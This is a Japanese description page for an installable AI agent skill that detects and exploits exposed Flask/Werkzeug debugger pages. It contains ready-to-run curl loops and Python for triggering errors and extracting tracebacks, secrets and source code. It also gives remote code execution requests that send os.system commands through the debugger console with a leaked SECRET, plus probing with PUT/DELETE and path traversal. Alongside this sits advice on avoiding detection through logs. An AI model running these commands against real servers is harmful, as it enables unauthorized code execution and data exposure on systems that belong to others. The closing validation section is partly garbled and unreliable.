flask-werkzeug-attack について
公開された Flask/Werkzeug デバッガーページを特定し、評価するセキュリティスキルです。情報漏えいを調べ、コンソールが有効か無効かを見分けます。
主な機能
- 01Werkzeug デバッガーページの検出
- 02トレースバックとサーバー情報の確認
- 03アクセス試行前のコンソール状態確認
- 04パスと HTTP メソッドの調査
- 05誤検知とログ記録への配慮
活用シーン
- 01HTTP 500 を返す Flask サービスの評価
- 02デバッガーコンソールの有効状態の判定
- 03エラー画面が漏らすパスとフレームワーク情報の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill flask-werkzeug-attackインストール後、Claude Code で/flask-werkzeug-attackを入力して読み込まれたか確認します。
詳細
Flask/Werkzeug デバッガーの悪用
debug=True が有効な Flask アプリケーションでは、スタックトレースを公開する Werkzeug デバッガーが有効になり、(オプションで)対話型の Python コンソールも使用できます。デバッガーは Flask アプリと同じポートで実行され、未処理の例外(HTTP 500)が発生すると有効になります。
使用する場面
- ポートスキャンで、標準以外のポート(8080、8081、8084、5000、8000 など)に未知の HTTP サービスが見つかった場合
- API エンドポイントが Flask/Werkzeug のエラーページとともに HTTP 500 を返す場合
- URL リソース(CSS、JS、PNG)に
?__debugger__=yesパラメーターが含まれている場合 - エラーページの HTML に
var CONSOLE_MODE、var EVALEX、またはSECRET=が含まれている場合
前提条件
- curl を使用できる
terminal - 本番環境で
debug=Trueが設定された Flask API サーバー(設定ミス) - HTTP 500 を引き起こすエンドポイント(未処理の例外)
簡易検出
# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
フェーズ 1 — 情報漏えい
Werkzeug デバッガーは次の情報を公開します。
1a — サーバーのパス(トレースバックから)
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
1b — デバッガーの SECRET(HTML から)
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
1c — フレームワークと言語のバージョン
- Flask フレームワーク(Python 3.x)
- flask_cors 拡張機能の状態
- 行番号を含む完全なコールスタック
- ソースコードのコンテキスト(各フレームの前後 5 行)
1d — コードコンテキスト全体の抽出
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
フェーズ 2 — デバッガーコンソールへのアクセス(RCE)
Werkzeug デバッガーのコンソールでは、EVALEX=true かつ CONSOLE_MODE=true の場合に、サーバー上で Python コードを実行できます。
2a — コンソールの状態を確認
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
2b — コンソールへのアクセス(有効な場合)
EVALEX=true の場合:
# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"
状態の確認: /console が HTTP 404 ではなく HTTP 400 を返す場合、デバッガーは有効ですが、コンソールは無効です。HTTP 404 はデバッガー自体が存在しないことを意味します。コンソール UI とともに HTTP 200 が返る場合は、RCE が可能です。
EVALEX=true の場合:
# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
注: コンソールエンドポイントでは特定のメソッド(POST または GET)が必要な場合があり、誤ったメソッドを使用すると HTTP 405 が返されることがあります。両方を試してください。
2c — 無効なコンソールへの対処
EVALEX=false の場合(本番環境では最も一般的)、コンソールは無効であり、コマンドを実行できません。ただし、次の点に注意してください。
- SECRET にも価値があります — 動的デバッガーが有効であることを確認できます
- トレースバックからの情報漏えいは続きます — サーバーの完全なパス、フレームワークのバージョン、ソースコードのコンテキストが漏えいします
?__debugger__=yesを確認してください — これはデバッガーインターフェースそのものです。読み込める場合、デバッガーは部分的に有効です- エラーページにソースコードが含まれているか確認してください — コンソールを使わなくても、一部のエンドポイントがソースコードのコンテキスト全体を返す場合があります
フェーズ 3 — ディレクトリ/パスの探索
特定のエラーを発生させるパス以外にも、異なる情報が漏えいする可能性のある他のエンドポイントを探索してください。
# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
注意点
- EVALEX=false の場合、コンソール経由の RCE は不可能です。 コンソールモードが無効なときに、コードの実行を試みて時間を無駄にしないでください。
- SECRET だけでは不十分です。 正しい SECRET があっても、コードを実行するにはコンソールが有効でなければなりません。
- HTTP 500 のページがすべて Werkzeug とは限りません。 HTML 形式ではない、または JSON のみを返す通常の Flask エラーページは、Werkzeug デバッガーではありません。デバッガーには、折りたたみ可能なトレースバックフレームとソースコードのコンテキストを備えた、特徴的な青色テーマの HTML ページがあります。
- デバッガーが CORS の背後にある場合があります。
Access-Control-Allow-Originヘッダーを確認してください。デバッガーページで CORS のワイルドカードが設定されていると、攻撃者が管理する Web サイトから fetch() を通じて SECRET とトレースバックを読み取られる可能性があります。 - エラーを発生させるとログが残ります。 デバッガーページへのリクエストはすべて、サーバーログに HTTP 500 エラーを記録します。検出を避けるため、慎重に行ってください。
検証
- スキルの完全性 — スキルファイルの形式が正しいことを確認します: 失敗 失敗 すべてのテストで、スキルが適切に構成されていることを確認します。
関連スキル
hunt-rce— 一般的なRCEの調査。コンソールが有効なWerkzeugはRCEになりますhunt-python— Python固有の脆弱性調査js-secrets-extraction— Flask APIで使える可能性のあるAPIキーの発見source-leak-hunt— Flask SECRET_KEYが含まれている可能性のある.envファイルや設定ファイルの発見cache-attack— Werkzeugのエラーページを介したキャッシュポイズニング(CDNが500レスポンスをキャッシュする場合)